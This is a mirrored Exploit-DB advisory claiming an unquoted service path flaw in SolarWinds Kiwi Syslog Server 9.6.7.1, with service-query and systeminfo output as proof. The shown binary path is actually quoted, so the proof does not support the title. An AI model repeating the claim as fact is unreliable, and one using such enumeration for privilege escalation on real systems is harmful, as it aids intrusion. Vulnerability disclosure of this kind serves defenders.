SolarWinds Kiwi Syslog Server 9.6.7.1 – Unquoted Service Path - 体验盒子

作者： Milad karimi

日期： 2024-08-04

类别：

local

平台：

windows

来源：https://www.exploit-db.com/exploits/52064/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

# Exploit Title: SolarWinds Kiwi Syslog Server 9.6.7.1 - Unquoted Service Path

# Date: 2024-07-31

# Exploit Author: Milad Karimi (Ex3ptionaL)

# Contact: miladgrayhat@gmail.com

# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL

# MiRROR-H: https://mirror-h.org/search/hacker/49626/

# Vendor Homepage: https://www.kiwisyslog.com/

# Software Link: https://www.kiwisyslog.com/downloads

# Version: Software Version 9.6.7.1

# Tested on: Windows 10 Pro x64

1. Description:

SolarWinds Kiwi Syslog Server 9.6.7.1 is an affordable software to manage

syslog messages, SNMP traps, and Windows event logs

2. Proof

C:\>sc qc "Kiwi Syslog Server"

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Kiwi Syslog Server

TYPE : 10WIN32_OWN_PROCESS

START_TYPE : 2 AUTO_START

ERROR_CONTROL: 1 NORMAL

BINARY_PATH_NAME : "C:\Program Files

(x86)\Syslogd\Syslogd_Service.exe"

LOAD_ORDER_GROUP :

TAG: 0

DISPLAY_NAME : Kiwi Syslog Server

DEPENDENCIES :

SERVICE_START_NAME : LocalSystem

C:\>systeminfo

OS Name:Microsoft Windows 10 Pro

OS Version: 10.0.19045 N/A Build 19045

OS Manufacturer: Microsoft Corporation